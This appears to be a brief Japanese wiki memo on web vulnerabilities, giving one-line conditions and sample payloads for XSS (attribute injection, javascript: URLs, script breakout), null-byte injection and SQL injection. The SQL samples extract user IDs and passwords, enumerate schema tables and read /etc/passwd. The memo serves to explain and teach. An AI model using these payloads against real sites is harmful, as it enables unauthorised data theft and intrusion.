XSS †
属性値 †
外部入力値を属性に使い、"をエスケープしていない場合
イベントハンドラの例
1
2
|
| "+onmouseover%3d"alert('1')"
-> " onmouseover="alert('1')"
|
a要素のhref, img,frame,iframe要素のsrcなどは、javascriptコードが書ける
1
|
| <a href="javascript:alert('1')">foo</a>
|
javascriptの動的生成 †
外部入力値をjavascriptパラメータに使い、javascript文字列リテラルとしてエスケープしていない場合
scriptの動的生成 †
外部入力値をscriptに使い、</などをエスケープしていない場合
1
|
| </script><script>alert('1')//
|
インジェクション †
nullバイトインジェクション †
nullを文字列終端として扱うC/C++と、その上に構築された別言語やフレームワーク間での齟齬を狙う
1
|
| foo%00<script>alert('1')</script>
|
SQLインジェクション †
外部入力値でプレースホルダを使わずにSQL文を構築している場合
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| -
!
-
!
-
!
-
!
-
!
| '+and+cast((select+id||':'||pwd+from+users+offset+0+limit+1)+as+integer)>1
'+union+select+id,pwd,name,addr,null,null,null+from+users--
' or 'a'='a
';copy+foo(bar)+from+'/etc/passwd'
'+union+select+table_name,column_name,data_type,null,null,null,null+from+information_schema.columns+order+by+1
|